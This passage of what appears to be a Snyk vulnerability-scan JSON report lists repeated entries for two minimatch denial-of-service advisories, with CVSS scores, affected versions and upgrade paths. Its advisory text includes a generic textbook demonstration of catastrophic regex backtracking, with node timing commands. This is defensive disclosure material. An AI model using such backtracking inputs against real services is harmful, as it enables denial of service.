"dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": 